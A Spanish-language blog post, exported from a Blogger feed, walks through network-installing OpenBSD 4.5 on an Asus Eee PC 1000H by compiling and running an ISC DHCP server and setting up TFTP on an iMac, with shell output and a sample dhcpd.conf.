tag:blogger.com,1999:blog-64569648019279971862009-06-25T20:32:53.459-05:00nonr00t stuff (uid != 0)uid=-103(nonr00t) gid=-103(nonr00t) grupos=-103(nonr00t)nonroot (c) 2008/2009http://www.blogger.com/profile/07874512567547770654noreply@blogger.comBlogger49125tag:blogger.com,1999:blog-6456964801927997186.post-87127783675238550012009-06-22T20:10:00.011-05:002009-06-23T09:35:43.137-05:00Installing OpenBSD on Eee PC 1000H<div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_qAkKS-aUuQk/SkBDg1mZpKI/AAAAAAAABEw/1LrSWOQFWYg/s1600-h/asus.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 400px; height: 388px;" src="http://3.bp.blogspot.com/_qAkKS-aUuQk/SkBDg1mZpKI/AAAAAAAABEw/1LrSWOQFWYg/s400/asus.JPG" alt="" id="BLOGGER_PHOTO_ID_5350350588739167394" border="0" /></a><span style="font-size:85%;"><span style="font-weight: bold;"><span class="blsp-spelling-error" id="SPELLING_ERROR_0"><span class="blsp-spelling-error" id="SPELLING_ERROR_0">Fig</span></span> 1. <span class="blsp-spelling-error" id="SPELLING_ERROR_1"><span class="blsp-spelling-error" id="SPELLING_ERROR_1">ASUS</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_2"><span class="blsp-spelling-error" id="SPELLING_ERROR_2">EEE</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_3"><span class="blsp-spelling-error" id="SPELLING_ERROR_3">PC</span></span> 1000H</span></span><br /><br /></div>Hoy quise instalar OpenBSD 4.5 en el <span class="blsp-spelling-error" id="SPELLING_ERROR_4"><span class="blsp-spelling-error" id="SPELLING_ERROR_4">Asus</span></span> para verificar que el reconocimiento de las interfaces de red si se <span class="blsp-spelling-error" id="SPELLING_ERROR_5"><span class="blsp-spelling-error" id="SPELLING_ERROR_5">habia</span></span> hecho en esta versión. Aquí está un recuento rápido del procedimiento:<br /><div style="text-align: justify;"><br /><span style="font-size:130%;"><span style="font-weight: bold;">1. ¿Donde instalarlo?</span></span><br /><br />Lo primero era pensar en donde instalar el sistema operativo?, si usaba una partición, o usaba todo el disco duro o ...<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_6"><span class="blsp-spelling-corrected" id="SPELLING_ERROR_6">recordé</span></span> que tenia una micro <span class="blsp-spelling-error" id="SPELLING_ERROR_7"><span class="blsp-spelling-error" id="SPELLING_ERROR_7">SD</span></span> de 2<span class="blsp-spelling-error" id="SPELLING_ERROR_8"><span class="blsp-spelling-error" id="SPELLING_ERROR_8">GB</span></span> disponibles, entonces decidí montarlo allí.<br /><br /><div style="text-align: center;"><a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_qAkKS-aUuQk/SkBEdWScGhI/AAAAAAAABE4/PrQJh0B3ld0/s1600-h/sd.JPG"><img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 300px; height: 400px;" src="http://4.bp.blogspot.com/_qAkKS-aUuQk/SkBEdWScGhI/AAAAAAAABE4/PrQJh0B3ld0/s400/sd.JPG" alt="" id="BLOGGER_PHOTO_ID_5350351628305963538" border="0" /></a><span style="font-size:85%;"><span style="font-weight: bold;"><span class="blsp-spelling-error" id="SPELLING_ERROR_9"><span class="blsp-spelling-error" id="SPELLING_ERROR_9">Fig</span></span> 2. micro/<span class="blsp-spelling-error" id="SPELLING_ERROR_10"><span class="blsp-spelling-error" id="SPELLING_ERROR_10">mini</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_11"><span class="blsp-spelling-error" id="SPELLING_ERROR_11">SD</span></span> de 2<span class="blsp-spelling-error" id="SPELLING_ERROR_12"><span class="blsp-spelling-error" id="SPELLING_ERROR_12">GB</span></span> (1826<span class="blsp-spelling-error" id="SPELLING_ERROR_13"><span class="blsp-spelling-error" id="SPELLING_ERROR_13">MB</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_14"><span class="blsp-spelling-error" id="SPELLING_ERROR_14">exactly</span></span>)</span></span><br /></div><br /><span style="font-size:130%;"><span style="font-weight: bold;">2. ¿Cómo lo instalo?</span></span><br /><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_15"><span class="blsp-spelling-corrected" id="SPELLING_ERROR_15">Recordé</span></span> que mi <span class="blsp-spelling-error" id="SPELLING_ERROR_16"><span class="blsp-spelling-error" id="SPELLING_ERROR_16">ASUS</span></span> no tiene unidad de <span class="blsp-spelling-error" id="SPELLING_ERROR_17"><span class="blsp-spelling-error" id="SPELLING_ERROR_17">CDROM</span></span> entonces solo quedaba la alternativa de instalarlo por disco o por red, entonces mejor opte por instalarlo por red. Para esto necesitaba un servidor <span class="blsp-spelling-error" id="SPELLING_ERROR_18"><span class="blsp-spelling-error" id="SPELLING_ERROR_18">DHCP</span></span> y un servidor <span class="blsp-spelling-error" id="SPELLING_ERROR_19"><span class="blsp-spelling-error" id="SPELLING_ERROR_19">TFTP</span></span> corriendo en <span class="blsp-spelling-error" id="SPELLING_ERROR_20"><span class="blsp-spelling-corrected" id="SPELLING_ERROR_20">algún</span></span> lado. Mi maquina <span class="blsp-spelling-error" id="SPELLING_ERROR_21"><span class="blsp-spelling-error" id="SPELLING_ERROR_21">Desktop</span></span> es un <span class="blsp-spelling-error" id="SPELLING_ERROR_22"><span class="blsp-spelling-error" id="SPELLING_ERROR_22">iMAC</span></span>, cual <span class="blsp-spelling-error" id="SPELLING_ERROR_23"><span class="blsp-spelling-corrected" id="SPELLING_ERROR_23">podría</span></span> ser el problema al tratar de instalar estos servicios ahí?, <span class="blsp-spelling-error" id="SPELLING_ERROR_24"><span class="blsp-spelling-error" id="SPELLING_ERROR_24">go</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_25"><span class="blsp-spelling-error" id="SPELLING_ERROR_25">ahead</span></span>!<br /><br /><span style="font-size:130%;"><span style="font-weight: bold;">3. Instalando el servicio <span class="blsp-spelling-error" id="SPELLING_ERROR_26"><span class="blsp-spelling-error" id="SPELLING_ERROR_26">DHCP</span></span> en el <span class="blsp-spelling-error" id="SPELLING_ERROR_27"><span class="blsp-spelling-error" id="SPELLING_ERROR_27">iMAC</span></span><br /><br /></span></span>Como ya todos saben, el <span class="blsp-spelling-error" id="SPELLING_ERROR_28"><span class="blsp-spelling-error" id="SPELLING_ERROR_28">iMAC</span></span> tiene un sistema operativo llamado <span class="blsp-spelling-error" id="SPELLING_ERROR_29"><span class="blsp-spelling-error" id="SPELLING_ERROR_29">Leopard</span></span> (por debajo <span class="blsp-spelling-error" id="SPELLING_ERROR_30"><span class="blsp-spelling-error" id="SPELLING_ERROR_30">Darwin</span></span>) que no es un Linux ni un <span class="blsp-spelling-error" id="SPELLING_ERROR_31"><span class="blsp-spelling-error" id="SPELLING_ERROR_31">BSD</span></span>, es una mezcla de <span class="blsp-spelling-error" id="SPELLING_ERROR_32"><span class="blsp-spelling-error" id="SPELLING_ERROR_32">BSD</span></span> y <span class="blsp-spelling-error" id="SPELLING_ERROR_33"><span class="blsp-spelling-error" id="SPELLING_ERROR_33">mach</span></span>.<br /><blockquote><br /><div style="text-align: left; color: rgb(0, 0, 153);">#<span class="blsp-spelling-error" id="SPELLING_ERROR_34"><span class="blsp-spelling-error" id="SPELLING_ERROR_34">uname</span></span> -a<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_35"><span class="blsp-spelling-error" id="SPELLING_ERROR_35">Darwin</span></span> Kernel <span class="blsp-spelling-error" id="SPELLING_ERROR_36"><span class="blsp-spelling-error" id="SPELLING_ERROR_36">Version</span></span> 9.5.0: <span class="blsp-spelling-error" id="SPELLING_ERROR_37"><span class="blsp-spelling-error" id="SPELLING_ERROR_37">Wed</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_38"><span class="blsp-spelling-error" id="SPELLING_ERROR_38">Sep</span></span> 3 11:29:43 <span class="blsp-spelling-error" id="SPELLING_ERROR_39"><span class="blsp-spelling-error" id="SPELLING_ERROR_39">PDT</span></span> 2008; root:xnu-1228.7.58~1/RELEASE_I386 i386</div></blockquote><div style="text-align: left; color: rgb(0, 0, 153);"><br /></div><br />Estos <span class="blsp-spelling-error" id="SPELLING_ERROR_40"><span class="blsp-spelling-error" id="SPELLING_ERROR_40">iMAC</span></span> son x86 <span class="blsp-spelling-error" id="SPELLING_ERROR_41"><span class="blsp-spelling-corrected" id="SPELLING_ERROR_41">así</span></span> que no hay problema por la compatibilidad de paquetes o cosas así.<br /><br />Lo que hice fue descargar el <span class="blsp-spelling-error" id="SPELLING_ERROR_42"><span class="blsp-spelling-error" id="SPELLING_ERROR_42">tarball</span></span> del <span class="blsp-spelling-error" id="SPELLING_ERROR_43"><span class="blsp-spelling-error" id="SPELLING_ERROR_43">dhcp</span></span> del sitio oficial <span class="blsp-spelling-error" id="SPELLING_ERROR_44"><span class="blsp-spelling-error" id="SPELLING_ERROR_44">ISC</span></span>:<br /><br /><a href="ftp://ftp.isc.org/isc/dhcp/dhcp-4.1.0.tar.gz">ftp://ftp.isc.org/isc/dhcp/dhcp-4.1.0.tar.gz</a><br /><br />Desde estas fuentes compilé el software:<br /><blockquote style="color: rgb(0, 0, 153);"><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_45"><span class="blsp-spelling-error" id="SPELLING_ERROR_45">bash</span></span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_46"><span class="blsp-spelling-error" id="SPELLING_ERROR_46">pwd</span></span><br />/Users/nonroot/dhcp-4.1.0<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_47"><span class="blsp-spelling-error" id="SPELLING_ERROR_47">bash</span></span>-3.2# ./configure<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_48"><span class="blsp-spelling-error" id="SPELLING_ERROR_48">checking</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_49"><span class="blsp-spelling-error" id="SPELLING_ERROR_49">for</span></span> a <span class="blsp-spelling-error" id="SPELLING_ERROR_50"><span class="blsp-spelling-error" id="SPELLING_ERROR_50">BSD</span></span>-compatible <span class="blsp-spelling-error" id="SPELLING_ERROR_51"><span class="blsp-spelling-error" id="SPELLING_ERROR_51">install</span></span>... /<span class="blsp-spelling-error" id="SPELLING_ERROR_52"><span class="blsp-spelling-error" id="SPELLING_ERROR_52">usr</span></span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_53"><span class="blsp-spelling-error" id="SPELLING_ERROR_53">bin</span></span>/<span class="blsp-spelling-error" id="SPELLING_ERROR_54"><span class="blsp-spelling-error" id="SPELLING_ERROR_54">install</span></span> -c<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_55"><span class="blsp-spelling-error" id="SPELLING_ERROR_55">checking</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_56"><span class="blsp-spelling-error" id="SPELLING_ERROR_56">whether</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_57"><span class="blsp-spelling-error" id="SPELLING_ERROR_57">build</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_58"><span class="blsp-spelling-error" id="SPELLING_ERROR_58">environment</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_59"><span class="blsp-spelling-error" id="SPELLING_ERROR_59">is</span></span> sane... <span class="blsp-spelling-error" id="SPELLING_ERROR_60"><span class="blsp-spelling-error" id="SPELLING_ERROR_60">yes</span></span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_61"><span class="blsp-spelling-error" id="SPELLING_ERROR_61">checking</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_62"><span class="blsp-spelling-error" id="SPELLING_ERROR_62">for</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_63"><span class="blsp-spelling-error" id="SPELLING_ERROR_63">gawk</span></span>... no<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_64"><span class="blsp-spelling-error" id="SPELLING_ERROR_64">checking</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_65"><span class="blsp-spelling-error" id="SPELLING_ERROR_65">for</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_66"><span class="blsp-spelling-error" id="SPELLING_ERROR_66">mawk</span></span>... no<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_67"><span class="blsp-spelling-error" id="SPELLING_ERROR_67">checking</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_68"><span class="blsp-spelling-error" id="SPELLING_ERROR_68">for</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_69"><span class="blsp-spelling-error" id="SPELLING_ERROR_69">nawk</span></span>... no<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_70"><span class="blsp-spelling-error" id="SPELLING_ERROR_70">checking</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_71"><span class="blsp-spelling-error" id="SPELLING_ERROR_71">for</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_72"><span class="blsp-spelling-error" id="SPELLING_ERROR_72">awk</span></span>... <span class="blsp-spelling-error" id="SPELLING_ERROR_73"><span class="blsp-spelling-error" id="SPELLING_ERROR_73">awk</span></span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_74"><span class="blsp-spelling-error" id="SPELLING_ERROR_74">checking</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_75"><span class="blsp-spelling-error" id="SPELLING_ERROR_75">whether</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_76"><span class="blsp-spelling-error" id="SPELLING_ERROR_76">make</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_77"><span class="blsp-spelling-error" id="SPELLING_ERROR_77">sets</span></span> $(<span class="blsp-spelling-error" id="SPELLING_ERROR_78"><span class="blsp-spelling-error" id="SPELLING_ERROR_78">MAKE</span></span>)... <span class="blsp-spelling-error" id="SPELLING_ERROR_79"><span class="blsp-spelling-error" id="SPELLING_ERROR_79">yes</span></span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_80"><span class="blsp-spelling-error" id="SPELLING_ERROR_80">checking</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_81"><span class="blsp-spelling-error" id="SPELLING_ERROR_81">for</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_82"><span class="blsp-spelling-error" id="SPELLING_ERROR_82">gcc</span></span>... <span class="blsp-spelling-error" id="SPELLING_ERROR_83"><span class="blsp-spelling-error" id="SPELLING_ERROR_83">gcc</span></span><br />...<br /></blockquote><blockquote style="color: rgb(0, 0, 153);"><span class="blsp-spelling-error" id="SPELLING_ERROR_84"><span class="blsp-spelling-error" id="SPELLING_ERROR_84">bash</span></span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_85"><span class="blsp-spelling-error" id="SPELLING_ERROR_85">make</span></span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_86"><span class="blsp-spelling-error" id="SPELLING_ERROR_86">Making</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_87"><span class="blsp-spelling-error" id="SPELLING_ERROR_87">all</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_88"><span class="blsp-spelling-error" id="SPELLING_ERROR_88">in</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_89"><span class="blsp-spelling-error" id="SPELLING_ERROR_89">includes</span></span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_90"><span class="blsp-spelling-error" id="SPELLING_ERROR_90">make</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_91"><span class="blsp-spelling-error" id="SPELLING_ERROR_91">all</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_92"><span class="blsp-spelling-error" id="SPELLING_ERROR_92">am</span></span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_93"><span class="blsp-spelling-error" id="SPELLING_ERROR_93">make</span></span>[2]: <span class="blsp-spelling-error" id="SPELLING_ERROR_94"><span class="blsp-spelling-error" id="SPELLING_ERROR_94">Nothing</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_95"><span class="blsp-spelling-error" id="SPELLING_ERROR_95">to</span></span> be done <span class="blsp-spelling-error" id="SPELLING_ERROR_96"><span class="blsp-spelling-error" id="SPELLING_ERROR_96">for</span></span> `<span class="blsp-spelling-error" id="SPELLING_ERROR_97"><span class="blsp-spelling-error" id="SPELLING_ERROR_97">all</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_98"><span class="blsp-spelling-error" id="SPELLING_ERROR_98">am</span></span>'.<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_99"><span class="blsp-spelling-error" id="SPELLING_ERROR_99">Making</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_100"><span class="blsp-spelling-error" id="SPELLING_ERROR_100">all</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_101"><span class="blsp-spelling-error" id="SPELLING_ERROR_101">in</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_102"><span class="blsp-spelling-error" id="SPELLING_ERROR_102">tests</span></span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_103"><span class="blsp-spelling-error" id="SPELLING_ERROR_103">make</span></span>[1]: <span class="blsp-spelling-error" id="SPELLING_ERROR_104"><span class="blsp-spelling-error" id="SPELLING_ERROR_104">Nothing</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_105"><span class="blsp-spelling-error" id="SPELLING_ERROR_105">to</span></span> be done <span class="blsp-spelling-error" id="SPELLING_ERROR_106"><span class="blsp-spelling-error" id="SPELLING_ERROR_106">for</span></span> `<span class="blsp-spelling-error" id="SPELLING_ERROR_107"><span class="blsp-spelling-error" id="SPELLING_ERROR_107">all</span></span>'.<br />...<br /></blockquote><div style="text-align: justify;">Una vez compilado y como es algo temporal no lo voy a instalar en el sistema, sino que lo voy a usar del directorio compilado:<br /></div><blockquote style="color: rgb(0, 0, 153);"><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_108"><span class="blsp-spelling-error" id="SPELLING_ERROR_108">bash</span></span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_109"><span class="blsp-spelling-error" id="SPELLING_ERROR_109">pwd</span></span><br />/Users/nonroot/dhcp-4.1.0/server<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_110"><span class="blsp-spelling-error" id="SPELLING_ERROR_110">bash</span></span>-3.2# ./<span class="blsp-spelling-error" id="SPELLING_ERROR_111"><span class="blsp-spelling-error" id="SPELLING_ERROR_111">dhcpd</span></span><br />Internet <span class="blsp-spelling-error" id="SPELLING_ERROR_112"><span class="blsp-spelling-error" id="SPELLING_ERROR_112">Systems</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_113"><span class="blsp-spelling-error" id="SPELLING_ERROR_113">Consortium</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_114"><span class="blsp-spelling-error" id="SPELLING_ERROR_114">DHCP</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_115"><span class="blsp-spelling-error" id="SPELLING_ERROR_115">Server</span></span> 4.1.0<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_116"><span class="blsp-spelling-error" id="SPELLING_ERROR_116">Copyright</span></span> 2004-2008 Internet <span class="blsp-spelling-error" id="SPELLING_ERROR_117"><span class="blsp-spelling-error" id="SPELLING_ERROR_117">Systems</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_118"><span class="blsp-spelling-error" id="SPELLING_ERROR_118">Consortium</span></span>.<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_119"><span class="blsp-spelling-error" id="SPELLING_ERROR_119">All</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_120"><span class="blsp-spelling-error" id="SPELLING_ERROR_120">rights</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_121"><span class="blsp-spelling-error" id="SPELLING_ERROR_121">reserved</span></span>.<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_122"><span class="blsp-spelling-error" id="SPELLING_ERROR_122">For</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_123"><span class="blsp-spelling-error" id="SPELLING_ERROR_123">info</span></span>, <span class="blsp-spelling-error" id="SPELLING_ERROR_124"><span class="blsp-spelling-error" id="SPELLING_ERROR_124">please</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_125"><span class="blsp-spelling-error" id="SPELLING_ERROR_125">visit</span></span> http://www.isc.org/sw/dhcp/<br /><span style="color: rgb(255, 0, 0);">Can't <span class="blsp-spelling-error" id="SPELLING_ERROR_126"><span class="blsp-spelling-error" id="SPELLING_ERROR_126">open</span></span> /etc/<span class="blsp-spelling-error" id="SPELLING_ERROR_127"><span class="blsp-spelling-error" id="SPELLING_ERROR_127">dhcpd</span></span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_128"><span class="blsp-spelling-error" id="SPELLING_ERROR_128">conf</span></span>: No <span class="blsp-spelling-error" id="SPELLING_ERROR_129"><span class="blsp-spelling-error" id="SPELLING_ERROR_129">such</span></span> file <span class="blsp-spelling-error" id="SPELLING_ERROR_130"><span class="blsp-spelling-error" id="SPELLING_ERROR_130">or</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_131"><span class="blsp-spelling-error" id="SPELLING_ERROR_131">directory</span></span></span><br />...</blockquote>Me sale un error relacionado con el archivo de configuración, entonces le digo a mi madre que por favor me dicte las líneas del archivo de configuración que no me acuerdo (<span class="blsp-spelling-error" id="SPELLING_ERROR_132"><span class="blsp-spelling-error" id="SPELLING_ERROR_132">fake</span></span>):<br /><br /><span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_133"><span class="blsp-spelling-error" id="SPELLING_ERROR_133">option</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_134"><span class="blsp-spelling-error" id="SPELLING_ERROR_134">domain</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_135"><span class="blsp-spelling-error" id="SPELLING_ERROR_135">name</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_136"><span class="blsp-spelling-error" id="SPELLING_ERROR_136">servers</span></span> 192.168.0.100;</span> <span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_137"><span class="blsp-spelling-error" id="SPELLING_ERROR_137">ddns</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_138"><span class="blsp-spelling-error" id="SPELLING_ERROR_138">update</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_139"><span class="blsp-spelling-error" id="SPELLING_ERROR_139">style</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_140"><span class="blsp-spelling-error" id="SPELLING_ERROR_140">ad</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_141"><span class="blsp-spelling-error" id="SPELLING_ERROR_141">hoc</span></span>;</span> <span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_142"><span class="blsp-spelling-error" id="SPELLING_ERROR_142">subnet</span></span> 192.168.0.0 <span class="blsp-spelling-error" id="SPELLING_ERROR_143"><span class="blsp-spelling-error" id="SPELLING_ERROR_143">netmask</span></span> 255.255.255.0 {</span> <span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_144"><span class="blsp-spelling-error" id="SPELLING_ERROR_144">range</span></span> 192.168.0.150 192.168.0.200;</span> <span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_145"><span class="blsp-spelling-error" id="SPELLING_ERROR_145">filename</span></span> "<span class="blsp-spelling-error" id="SPELLING_ERROR_146"><span class="blsp-spelling-error" id="SPELLING_ERROR_146">pxeboot</span></span>";</span> <span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_147"><span class="blsp-spelling-error" id="SPELLING_ERROR_147">next</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_148"><span class="blsp-spelling-error" id="SPELLING_ERROR_148">server</span></span> 192.168.0.4;</span> <span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_149"><span class="blsp-spelling-error" id="SPELLING_ERROR_149">default</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_150"><span class="blsp-spelling-error" id="SPELLING_ERROR_150">lease</span></span>-time 300000;</span> <span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_151"><span class="blsp-spelling-error" id="SPELLING_ERROR_151">max</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_152"><span class="blsp-spelling-error" id="SPELLING_ERROR_152">lease</span></span>-time 350000;</span> <span style="color: rgb(255, 102, 0);"><span class="blsp-spelling-error" id="SPELLING_ERROR_153"><span class="blsp-spelling-error" id="SPELLING_ERROR_153">option</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_154"><span class="blsp-spelling-error" id="SPELLING_ERROR_154">routers</span></span> 192.168.0.100; </span> <span style="color: rgb(255, 102, 0);">}</span><br />Estas líneas las almaceno en el archivo <span style="font-style: italic;">/etc/<span class="blsp-spelling-error" id="SPELLING_ERROR_155"><span class="blsp-spelling-error" id="SPELLING_ERROR_155">dhcpd</span></span>.<span class="blsp-spelling-error" id="SPELLING_ERROR_156"><span class="blsp-spelling-error" id="SPELLING_ERROR_156">conf</span></span>,</span> en este punto es importante recordar que la variable <span class="blsp-spelling-error" id="SPELLING_ERROR_157"><span class="blsp-spelling-error" id="SPELLING_ERROR_157">next</span></span>-<span class="blsp-spelling-error" id="SPELLING_ERROR_158"><span class="blsp-spelling-error" id="SPELLING_ERROR_158">server</span></span> debe apuntar a la maquina donde estoy instalando el servidor <span class="blsp-spelling-error" id="SPELLING_ERROR_159"><span class="blsp-spelling-error" id="SPELLING_ERROR_159">dhcp</span></span> y que tendrá <span class="blsp-spelling-error" id="SPELLING_ERROR_160"><span class="blsp-spelling-error" id="SPELLING_ERROR_160">tambien</span></span> el servidor <span class="blsp-spelling-error" id="SPELLING_ERROR_161"><span class="blsp-spelling-error" id="SPELLING_ERROR_161">tftp</span></span>.<br /><br />Una vez creado el archivo puedo ejecutar el binario:<br /><br /><blockquote style="color: rgb(0, 0, 153);"><span class="blsp-spelling-error" id="SPELLING_ERROR_162"><span class="blsp-spelling-error" id="SPELLING_ERROR_162">bash</span></span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_163"><span class="blsp-spelling-error" id="SPELLING_ERROR_163">pwd</span></span><br />/Users/nonroot/dhcp-4.1.0/server<br /><span class="blsp-spelling-error" id="SPELLING_ERROR_164"><span class="blsp-spelling-error" id="SPELLING_ERROR_164">bash</span></span>-3.2# ./<span class="blsp-spelling-error" id="SPELLING_ERROR_165"><span class="blsp-spelling-error" id="SPELLING_ERROR_165">dhcpd</span></span><br /></blockquote>Al parecer saca un error, pero comprobamos que este corriendo:<br /><blockquote style="color: rgb(0, 0, 153);"><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_166"><span class="blsp-spelling-error" id="SPELLING_ERROR_166">bash</span></span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_167"><span class="blsp-spelling-error" id="SPELLING_ERROR_167">ps</span></span> <span class="blsp-spelling-error" id="SPELLING_ERROR_168"><span class="blsp-spelling-error" id="SPELLING_ERROR_168">aux</span></span> | <span class="blsp-spelling-error" id="SPELLING_ERROR_169"><span class="blsp-spelling-error" id="SPELLING_ERROR_169">grep</span></span> -i <span class="blsp-spelling-error" id="SPELLING_ERROR_170"><span class="blsp-spelling-error" id="SPELLING_ERROR_170">dhcpd</span></span><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_171"><span class="blsp-spelling-error" id="SPELLING_ERROR_171">root</span></span> 8475 0.0 0.1 77832 768 ?? <span class="blsp-spelling-error" id="SPELLING_ERROR_172"><span class="blsp-spelling-error" id="SPELLING_ERROR_172">Ss</span></span> 5:59<span class="blsp-spelling-error" id="SPELLING_ERROR_173"><span class="blsp-spelling-error" id="SPELLING_ERROR_173">PM</span></span> 0:00.02 ./<span class="blsp-spelling-error" id="SPELLING_ERROR_174"><span class="blsp-spelling-error" id="SPELLING_ERROR_174">dhcpd</span></span><br />...<br /></blockquote><span style="font-size:130%;"><span style="font-weight: bold;">4. Instalando el servicio <span class="blsp-spelling-error" id="SPELLING_ERROR_175"><span class="blsp-spelling-error" id="SPELLING_ERROR_175">TFTP</span></span> en el <span class="blsp-spelling-error" id="SPELLING_ERROR_176"><span class="blsp-spelling-error" id="SPELLING_ERROR_176">iMAC</span></span></span></span><br /><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_177"><span class="blsp-spelling-error" id="SPELLING_ERROR_177">Uhmm</span></span> como hacemos?, toca buscar un poco en Internet y me encuentro lo siguiente:<br /><br /><a href="http://www.macosxhints.com/article.php?story=20070218233806794">http://www.macosxhints.com/article.php?story=20070218233806794</a><br /><br />Allí explican muy bien, dicen que <span class="blsp-spelling-error" id="SPELLING_ERROR_178"><span class="blsp-spelling-error" id="SPELLING_ERROR_178">Leopard</span></span> no usa el famoso <span class="blsp-spelling-error" id="SPELLING_ERROR_179"><span class="blsp-spelling-error" id="SPELLING_ERROR_179">inetd</span></span> sino un demonio llamado <span class="blsp-spelling-error" id="SPELLING_ERROR_180"><span class="blsp-spelling-error" id="SPELLING_ERROR_180">launchd</span></span>, este demonio carga configuraciones en <span class="blsp-spelling-error" id="SPELLING_ERROR_181"><span class="blsp-spelling-error" id="SPELLING_ERROR_181">xml</span></span> que se encuentran en la ruta de servicios del S.O.:<br /><blockquote style="color: rgb(0, 0, 153);"><br /><span class="blsp-spelling-error" id="SPELLING_ERROR_182"><span class="blsp-spelling-error" id="SPELLING_ERROR_182">bash</span></span>-3.2# <span class="blsp-spelling-error" id="SPELLING_ERROR_183"><span 